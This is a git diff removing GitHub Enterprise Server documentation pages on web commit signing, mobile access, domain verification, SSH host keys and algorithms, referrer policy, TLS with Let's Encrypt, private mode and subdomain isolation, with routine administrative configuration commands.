- ``` - -1. Create a new user on {% data variables.location.product_location %} via built-in authentication or external authentication. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise). - * The user's username must be the same username you used when creating the PGP key in step 1 above, for example, `web-flow`. - * The user's email address must be the same address you used when creating the PGP key. -{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} -{% data reusables.enterprise_site_admin_settings.email-settings %} -1. Under "No-reply email address", type the same email address you used when creating the PGP key. - - > [!NOTE] - > The "No-reply email address" field will only be displayed if you've enabled email for {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications#configuring-smtp-for-your-enterprise). - -{% data reusables.enterprise_management_console.save-settings %} - -## Rotating the private key used for web commit signing - -{% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %} - * Use the web commit signing user's username, for example, `web-flow`. - * Use the no-reply email address defined in the {% data variables.enterprise.management_console %}, which should be the same as the email address of the web commit signing user, for example, `web-flow`. - {% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} -{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} -{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} -{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} - -## Disabling web commit signing - -You can disable web commit signing for {% data variables.location.product_location %}. - -1. In the administrative shell, run the following command. - - ```bash copy - ghe-config app.github.web-commit-signing-enabled false - ``` - -1. Apply the configuration. - - ```bash copy - ghe-config-apply - ``` diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/index.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/index.md deleted file mode 100644 index 2534d5fef3be..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Configuring user applications for your enterprise -shortTitle: Configure user applications -intro: You can configure applications for users in your enterprise. -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /configuring-applications - - /configuring-email-for-notifications - - /configuring-github-pages-for-your-enterprise - - /configuring-rate-limits - - /configuring-web-commit-signing - - /configuring-interactive-maps - - /managing-github-mobile-for-your-enterprise - - /verifying-or-approving-a-domain-for-your-enterprise -redirect_from: - - /admin/configuration/configuring-user-applications-for-your-enterprise ---- - diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/managing-github-mobile-for-your-enterprise.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/managing-github-mobile-for-your-enterprise.md deleted file mode 100644 index 3c9c637251b5..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/managing-github-mobile-for-your-enterprise.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Managing GitHub Mobile for your enterprise -intro: 'You can decide whether people can use {% data variables.product.prodname_mobile %} to connect to {% data variables.location.product_location %}.' -permissions: 'Enterprise owners' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Mobile -redirect_from: - - /admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise - - /admin/configuration/managing-github-for-mobile-for-your-enterprise - - /admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise - - /admin/configuration/configuring-user-applications-for-your-enterprise/managing-github-mobile-for-your-enterprise -shortTitle: Manage GitHub Mobile ---- - -## About {% data variables.product.prodname_mobile %} - -{% data variables.product.prodname_mobile %} allows people to triage, collaborate, and manage work on {% data variables.location.product_location %} from a mobile device after successful authentication. {% data reusables.mobile.about-mobile %} For more information, see [AUTOTITLE](/get-started/using-github/github-mobile). - -You can allow or disallow people from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.location.product_location %} and access your instance's data. By default, {% data variables.product.prodname_mobile %} is enabled for people who use {% data variables.location.product_location %}. - -## Enabling or disabling {% data variables.product.prodname_mobile %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -1. In the "Settings" sidebar, click **Mobile**. -1. Under "{% data variables.product.prodname_mobile %}", select or deselect **Enable GitHub Mobile Apps**. -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md deleted file mode 100644 index 124712c11927..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Verifying or approving a domain for your enterprise -shortTitle: Verify or approve a domain -intro: 'You can verify your ownership of domains with {% data variables.product.company_short %} to confirm the identity of organizations owned by your enterprise account. You can also approve domains where organization members can receive email notifications.' -product: '{% data reusables.gated-features.verify-and-approve-domain %}' -versions: - ghec: '*' - ghes: '*' -permissions: Enterprise owners can verify or approve a domain for an enterprise account. -type: how_to -topics: - - Enterprise - - Notifications - - Organizations - - Policy -redirect_from: - - /admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/verifying-or-approving-a-domain-for-your-enterprise-account - - /admin/configuration/verifying-or-approving-a-domain-for-your-enterprise - - /github/setting-up-and-managing-your-enterprise/verifying-your-enterprise-accounts-domain - - /github/articles/verifying-your-enterprise-accounts-domain - - /early-access/github/articles/verifying-your-enterprise-accounts-domain - - /github/setting-up-and-managing-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise-account - - /admin/policies/verifying-or-approving-a-domain-for-your-enterprise - - /admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise - - /admin/configuration/configuring-user-applications-for-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise ---- - -## About verification of domains - -You can confirm that the websites and email addresses listed on the profiles of any organization owned by your enterprise account are controlled by your enterprise by verifying the domains. Verified domains for an enterprise account apply to every organization owned by the enterprise account. - -After you verify ownership of your enterprise account's domains, a "Verified" badge will display on the profile of each organization that has the domain listed on its profile. {% data reusables.organizations.verified-domains-details %} - -For domains configured at the enterprise level, enterprise owners can verify the identity of organization members by viewing each member's email address within the verified domain. Enterprise owners can also view a list of enterprise members who don't have an email address from a verified domain associated with their user account on {% data variables.product.prodname_dotcom %}. See [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain). - -After you verify domains for your enterprise account, you can restrict email notifications to verified domains for all the organizations owned by your enterprise account. See [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise). - -Even if you don't restrict email notifications for the enterprise account, if an organization owner has restricted email notifications for the organization, organization members will be able to receive notifications at any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information about restricting notifications for an organization, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization). - -Organization owners can also verify additional domains for their organizations. See [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). - -## About approval of domains - -{% data reusables.enterprise-accounts.approved-domains-beta-note %} - -{% data reusables.enterprise-accounts.approved-domains-about %} - -After you approve domains for your enterprise account, you can restrict email notifications for activity within your enterprise account to users with verified email addresses within verified or approved domains. See [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise). - -{% ifversion ghec %}To receive email notifications, the owner of the user account must verify the email address. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).{% endif %} - -Organization owners can also approve additional domains for their organizations. See [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). - -## Verifying a domain for your enterprise account - -To verify your enterprise account's domain, you must have access to modify domain records with your domain hosting service. - -For successful domain verification, make sure that the TXT record needed for the verification can be checked directly from your domain's main name servers. You can verify this by running the command: `dig DOMAIN +nostats +nocomments +nocmd TXT @AUTHORITATIVE-NAMESERVER`. This helps avoid problems from CNAME records that might point somewhere else. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.verified-domains-tab %} -{% data reusables.enterprise-accounts.add-a-domain %} -{% data reusables.organizations.add-domain %} -{% data reusables.organizations.add-dns-txt-record %} -1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `TXT-RECORD-NAME` with the name of the TXT record created in your DNS configuration. You should see your new TXT record listed in the command output. - - ```shell - dig TXT-RECORD-NAME +nostats +nocomments +nocmd TXT - ``` - -1. To make sure that the TXT record can be checked directly from your domain's main name servers, run the following command. - - ```shell - dig DOMAIN +nostats +nocomments +nocmd TXT @AUTHORITATIVE-NAMESERVER - ``` - -1. After confirming your TXT record is added to your DNS, follow steps one through four above to navigate to your enterprise account's approved and verified domains. -{% data reusables.enterprise-accounts.continue-verifying-domain %} -1. Optionally, after the "Verified" badge is visible on your organizations' profiles, delete the TXT entry from the DNS record at your domain hosting service. - -## Approving a domain for your enterprise account - -{% data reusables.enterprise-accounts.approved-domains-beta-note %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.verified-domains-tab %} -{% data reusables.enterprise-accounts.add-a-domain %} -{% data reusables.organizations.add-domain %} -{% data reusables.organizations.domains-approve-it-instead %} -{% data reusables.organizations.domains-approve-domain %} - -## Removing an approved or verified domain - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.verified-domains-tab %} -1. To the right of the domain to remove, select the {% octicon "kebab-horizontal" aria-label="Show more options" %} dropdown menu, then click **Delete**. - - ![Screenshot of the "Verified & approved domains" page. To the right of a domain, a kebab icon is outlined in dark orange.](/assets/images/help/organizations/continue-verifying-domain.png) diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-host-keys-for-your-instance.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-host-keys-for-your-instance.md deleted file mode 100644 index 84681272d7d6..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-host-keys-for-your-instance.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Configuring host keys for your instance -shortTitle: Configure host keys -intro: 'You can increase the security of {% data variables.location.product_location %} by configuring the algorithms that your instance uses to generate and advertise host keys for incoming SSH connections.' -permissions: Site administrators -redirect_from: - - /admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance - - /admin/configuration/hardening-security-for-your-enterprise/configuring-host-keys-for-your-instance -versions: - ghes: '*' -type: how_to -topics: - - Authentication - - Enterprise - - Infrastructure - - Networking - - Security - - SSH ---- - -## About host keys for your instance - -Servers that accept SSH connections advertise one or more cryptographic host keys to securely identify the server to SSH clients. To confirm the server's identity during the initialization of a connection, clients store and verify the host key. For more information, see [SSH Host Key - What, Why, How](https://ssh.com/academy/ssh/host-key) on the SSH Academy website. - -{% data reusables.enterprise.about-ssh-ports %} - -By default, {% data variables.location.product_location %} generates and advertises host keys with OpenSSH-style host key rotation. To increase the security of SSH in your environment, you can enable additional algorithms for the generation of host keys. - -> [!NOTE] -> If you enable additional host key algorithms, clients that do not use OpenSSH for SSH connections may experience warnings during connection, or fail to connect entirely. Some SSH implementations can ignore unsupported algorithms and fall back to a different algorithm. If the client does not support fallback, the connection will fail. For example, the SSH library for Go does not support fallback to a different algorithm. - -## Managing an Ed25519 host key - -To improve security for clients that connect to {% data variables.location.product_location %}, you can enable the generation and advertisement of an Ed25519 host key. Ed25519 is immune to some attacks that target older signature algorithms, without sacrificing speed. Older SSH clients may not support Ed25519. By default, {% data variables.product.prodname_ghe_server %} instances do not generate or advertise an Ed25519 host key. For more information, see [the Ed25519 website](https://ed25519.cr.yp.to). - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To enable generation and advertisement of the Ed25519 host key, enter the following command. - - ```shell - ghe-config app.babeld.host-key-ed25519 true - ``` - -1. Optionally, enter the following command to disable generation and advertisement of the Ed25519 host key. - - ```shell - ghe-config app.babeld.host-key-ed25519 false - ``` - -{% data reusables.enterprise.apply-configuration %} diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-ssh-connections-to-your-instance.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-ssh-connections-to-your-instance.md deleted file mode 100644 index 74d337303b05..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-ssh-connections-to-your-instance.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Configuring SSH connections to your instance -shortTitle: Configure SSH connections -intro: 'You can increase the security of {% data variables.location.product_location %} by configuring the SSH algorithms that clients can use to establish a connection.' -permissions: Site administrators -redirect_from: - - /admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance - - /admin/configuration/hardening-security-for-your-enterprise/configuring-ssh-connections-to-your-instance -versions: - ghes: '*' -type: how_to -topics: - - Authentication - - Enterprise - - Infrastructure - - Networking - - Security - - SSH ---- - -## About SSH connections to your instance - -{% data reusables.enterprise.about-ssh-ports %} - -To accommodate the SSH clients in your environment, you can configure the types of connections that {% data variables.location.product_location %} will accept. - -## Configuring SSH connections with RSA keys - -When users perform Git operations on {% data variables.location.product_location %} via SSH over port 22, the client can authenticate with an RSA key. The client may sign the attempt using the SHA-1 hash function. In this context, the SHA-1 hash function is no longer secure. For more information, see [SHA-1](https://en.wikipedia.org/wiki/SHA-1) on Wikipedia. - -By default, SSH connections that satisfy **both** of the following conditions will fail. - -{% data reusables.ssh.rsa-sha-1-connection-failure-criteria %} - -You can adjust the cutoff date. If the user uploaded the RSA key before the cutoff date, the client can continue to connect successfully using SHA-1 as long as the key remains valid. Alternatively, you can reject all SSH connections authenticated with an RSA key if the client signs the connection using the SHA-1 hash function. - -Regardless of the setting you choose for your instance, clients can continue to connect using any RSA key signed with a SHA-2 hash function. - -If you use an SSH certificate authority, connections will fail if the certificate's `valid_after` date is after the cutoff date. For more information, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities). - -For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server). - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Audit your instance's logs for connections that use unsecure algorithms or hash functions using the `ghe-find-insecure-git-operations` utility. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-find-insecure-git-operations). -1. To configure a cutoff date after which {% data variables.location.product_location %} will deny connections from clients that use an RSA key uploaded after the date if the connection is signed by the SHA-1 hash function, enter the following command. Replace _**RFC-3399-UTC-TIMESTAMP**_ with a valid RFC 3399 UTC timestamp. For example, the default value, August 1, 2022, would be represented as `2022-08-01T00:00:00Z`. For more information, see [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339) on the IETF website. - - <pre> - $ ghe-config app.gitauth.rsa-sha1 RFC-3339-UTC-TIMESTAMP - </pre> -1. Alternatively, to completely disable SSH connections using RSA keys that are signed with the SHA-1 hash function, enter the following command. - - ```shell - ghe-config app.gitauth.rsa-sha1 false - ``` - -{% data reusables.enterprise.apply-configuration %} diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md deleted file mode 100644 index 8ce714bbc9e4..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Configuring the referrer policy for your enterprise -shortTitle: Configure referrer policy -intro: 'You can increase the privacy of {% data variables.location.product_location %} by configuring the policy for cross-origin requests.' -redirect_from: - - /admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise - - /admin/configuration/hardening-security-for-your-enterprise/configuring-the-referrer-policy-for-your-enterprise -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Networking - - Privacy - - Security ---- - -## About the referrer policy for your enterprise - -The referrer policy controls the information that {% data variables.product.prodname_ghe_server %} transmits in HTTP headers when someone visits a link from {% data variables.location.product_location %} to an external site. - -By default, when a user on {% data variables.location.product_location %} visits a link to another site from a file or comment on your instance, the request includes the hostname for your instance in plain text within the `Referer` header. If the link leads to an external website, the owner of the website could read the hostname for your instance in requests or log files. - -You can control the information that {% data variables.product.prodname_ghe_server %} sends when a user visits a link from your instance. - -## Enabling the `same-origin` referrer policy - -You can enable the `same-origin` referrer policy to instruct modern browsers to exclude the hostname for {% data variables.location.product_location %} from requests to external websites. The setting applies to all links from the web interface on your instance. By default, {% data variables.product.prodname_ghe_server %} uses the `origin-when-cross-origin` and `strict-origin-when-cross-origin` referrer policies, which means your instance's hostname will appear in HTTP and HTTPS requests to external websites. - -> [!NOTE] -> Changing the referrer policy to `same-origin` can affect external sites that expect a hostname in the HTTP headers for a request. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Authentication security**. -1. Under "User Agent Referrer Policy", select **Enable same origin referrer policy for all organizations**. -1. Click **Save**. diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-tls.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-tls.md deleted file mode 100644 index 1af65eb39492..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/configuring-tls.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Configuring TLS -intro: 'You can configure Transport Layer Security (TLS) on {% data variables.location.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.' -redirect_from: - - /enterprise/admin/articles/ssl-configuration - - /enterprise/admin/guides/installation/about-tls - - /enterprise/admin/installation/configuring-tls - - /enterprise/admin/configuration/configuring-tls - - /admin/configuration/configuring-tls - - /admin/configuration/configuring-network-settings/configuring-tls - - /admin/configuration/hardening-security-for-your-enterprise/configuring-tls -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking - - Security ---- -## About Transport Layer Security - -TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt. - -The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see [HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) on Wikipedia. - -{% data reusables.enterprise_installation.terminating-tls %} - -To allow users to use FIDO U2F for two-factor authentication or deploy {% data variables.product.prodname_pages %} sites with {% data variables.product.prodname_actions %}, you must enable TLS for your instance. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -## Prerequisites - -To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority. To use a certificate signed by an internal certificate authority, you must install the root certificate and any intermediate certificates. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors#installing-self-signed-or-untrusted-certificate-authority-ca-root-certificates). - -Your certificate will also need Subject Alternative Names configured for the subdomains listed in [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation#about-subdomain-isolation) and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see [Subject Alternative Name](https://en.wikipedia.org/wiki/SubjectAltName) on Wikipedia. - -You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-generate-csr). - -Your key must be an RSA key and must not have a passphrase. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors#removing-the-passphrase-from-your-key-file). - -## Uploading a custom TLS certificate - -{% data reusables.enterprise_site_admin_settings.tls-downtime %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -{% data reusables.enterprise_management_console.select-tls-only %} -1. Under "TLS Protocol support", select the protocols you want to allow. -1. Under "Certificate", click **Choose File**, then choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a _.pem_, _.crt_, or _.cer_ extension. -1. Under "Unencrypted key", click **Choose File**, then choose an RSA key (in PEM format) to install. This file will usually have a _.key_ extension. - -{% data reusables.enterprise_management_console.save-settings %} - -## About Let's Encrypt support - -Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance. - -{% data reusables.enterprise_installation.lets-encrypt-prerequisites %} - -When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.location.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests. - -You can also use the `ghe-ssl-acme` command line utility on {% data variables.location.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-acme). - -## Configuring TLS using Let's Encrypt - -{% data reusables.enterprise_installation.lets-encrypt-prerequisites %} - -{% data reusables.enterprise_site_admin_settings.tls-downtime %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -{% data reusables.enterprise_management_console.select-tls-only %} -1. Select **Enable automation of TLS certificate management using Let's Encrypt**. -{% data reusables.enterprise_management_console.save-settings %} -{% data reusables.enterprise_management_console.privacy %} -1. Click **Request TLS certificate**. -1. Wait for the "Status" to change from "STARTED" to "DONE". - - ![Screenshot of the "Requesting TLS Certificate" dialog. At the top of the dialog, "STATUS: DONE" is highlighted with an orange outline.](/assets/images/enterprise/management-console/lets-encrypt-status.png) -1. Click **Save configuration**. - -### Troubleshooting TLS with Let's Encrypt - -You can troubleshoot issues that affect your TLS certificate from Let's Encrypt. - -#### Error: "Security error prevented the resource from being loaded" - -In some cases, end users may report that pages for services on {% data variables.location.product_location %} respond with the following error in a browser's developer tools. - -```text -Security error prevented the resource from being loaded -``` - -To resolve these errors, you must update the Subject Alternative Names (SANs) your Let's Encrypt certificate by reissuing the certificate. Replacement of an instance's certificate requires user-facing downtime. - -1. Communicate the upcoming downtime to your users, and consider enabling maintenance mode. For more information, see the following articles. - - * [AUTOTITLE](/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-mandatory-message) - * [AUTOTITLE](/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode) -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To disable Let's Encrypt, run the following command. - - ```shell copy - ghe-ssl-acme -d - ``` - -1. To clear the existing settings for Let's Encrypt, run the following command. - - ```shell copy - ghe-ssl-acme -x - ``` - -1. To request and install a new certificate from Let's Encrypt, run the following command. - - ```shell copy - ghe-ssl-acme -e - ``` - -{% data reusables.enterprise.apply-configuration %} -1. If you configured a user message or maintenance mode, remove the message and disable maintenance mode. diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/enabling-private-mode.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/enabling-private-mode.md deleted file mode 100644 index 1c570701dd30..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/enabling-private-mode.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Enabling private mode -intro: 'In private mode, {% data variables.product.prodname_ghe_server %} requires every user to sign in to access the installation.' -redirect_from: - - /enterprise/admin/articles/private-mode - - /enterprise/admin/guides/installation/security - - /enterprise/admin/guides/installation/securing-your-instance - - /enterprise/admin/installation/enabling-private-mode - - /enterprise/admin/configuration/enabling-private-mode - - /admin/configuration/enabling-private-mode - - /admin/configuration/configuring-your-enterprise/enabling-private-mode - - /admin/configuration/hardening-security-for-your-enterprise/enabling-private-mode -versions: - ghes: '*' -type: how_to -topics: - - Access management - - Authentication - - Enterprise - - Fundamentals - - Infrastructure - - Networking - - Privacy - - Security ---- -You must enable private mode if {% data variables.location.product_location %} is publicly accessible over the Internet. In private mode, users cannot anonymously clone repositories. If built-in authentication is also enabled, an administrator must invite new users to create an account on the instance. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication). - -{% data reusables.enterprise_installation.image-urls-viewable-warning %} - -With private mode enabled, you can allow unauthenticated Git operations (and anyone with network access to {% data variables.location.product_location %}) to read a public repository's code on your instance with anonymous Git read access enabled. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. Select **Private mode**. -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/enabling-subdomain-isolation.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/enabling-subdomain-isolation.md deleted file mode 100644 index d48c6a29cf86..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/enabling-subdomain-isolation.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Enabling subdomain isolation -intro: 'You can set up subdomain isolation to securely separate user-supplied content from other portions of your {% data variables.product.prodname_ghe_server %} appliance.' -redirect_from: - - /enterprise/admin/guides/installation/about-subdomain-isolation - - /enterprise/admin/installation/enabling-subdomain-isolation - - /enterprise/admin/configuration/enabling-subdomain-isolation - - /admin/configuration/enabling-subdomain-isolation - - /admin/configuration/configuring-network-settings/enabling-subdomain-isolation - - /admin/configuration/hardening-security-for-your-enterprise/enabling-subdomain-isolation -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking - - Security -shortTitle: Enable subdomain isolation ---- -## About subdomain isolation - -Subdomain isolation mitigates cross-site scripting and other related vulnerabilities. For more information, see [Cross-site scripting](https://en.wikipedia.org/wiki/Cross-site_scripting) on Wikipedia. We highly recommend that you enable subdomain isolation on {% data variables.location.product_location %}. - -When subdomain isolation is enabled, {% data variables.product.prodname_ghe_server %} replaces several paths with subdomains. After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors. - -| Path without subdomain isolation | Path with subdomain isolation | -| --- | --- | -| `http(s)://HOSTNAME/` | `http(s)://docker.HOSTNAME/` | -| `http(s)://HOSTNAME/_registry/npm/` | `https://npm.HOSTNAME/` | -| `http(s)://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/` | -| `http(s)://HOSTNAME/_registry/maven/` | `https://maven.HOSTNAME/` | -| `http(s)://HOSTNAME/_registry/nuget/` | `https://nuget.HOSTNAME/` | -| `http(s)://HOSTNAME/assets/` | `http(s)://assets.HOSTNAME/` | -| `http(s)://HOSTNAME/avatars/` | `http(s)://avatars.HOSTNAME/` | -| `http(s)://HOSTNAME/codeload/` | `http(s)://codeload.HOSTNAME/` | -| `http(s)://HOSTNAME/gist/` | `http(s)://gist.HOSTNAME/` | -| `http(s)://HOSTNAME/media/` | `http(s)://media.HOSTNAME/` | -| `http(s)://HOSTNAME/notebooks/` | `http(s)://notebooks.HOSTNAME/` | -| `http(s)://HOSTNAME/pages/` | `http(s)://pages.HOSTNAME/` | -| `http(s)://HOSTNAME/raw/` | `http(s)://raw.HOSTNAME/` | -| `http(s)://HOSTNAME/reply/` | `http(s)://reply.HOSTNAME/` | -| `http(s)://HOSTNAME/uploads/` | `http(s)://uploads.HOSTNAME/` | -| `http(s)://HOSTNAME/viewscreen/` | `http(s)://viewscreen.HOSTNAME/` | -| Not supported | `https://containers.HOSTNAME/` | - -## Prerequisites - -{% data reusables.enterprise_installation.disable-github-pages-warning %} - -Before you enable subdomain isolation, you must configure your network settings for your new domain. - -* Specify a valid domain name as your hostname, instead of an IP address. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-a-hostname). - -{% data reusables.enterprise_installation.changing-hostname-not-supported %} - -* Set up a wildcard Domain Name System (DNS) record or individual DNS records for the subdomains listed above. We recommend creating an A record for `*.HOSTNAME` that points to your server's IP address so you don't have to create multiple records for each subdomain. -* Get a wildcard Transport Layer Security (TLS) certificate for `*.HOSTNAME` with a Subject Alternative Name (SAN) for both `HOSTNAME` and the wildcard domain `*.HOSTNAME`. For example, if your hostname is `github.octoinc.com`, get a certificate with the Common Name value set to `*.github.octoinc.com` and a SAN value set to both `github.octoinc.com` and `*.github.octoinc.com`. -* Enable TLS on your appliance. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls). - -## Enabling subdomain isolation - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.hostname-menu-item %} -1. Select **Subdomain isolation (recommended)**. -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/index.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/index.md 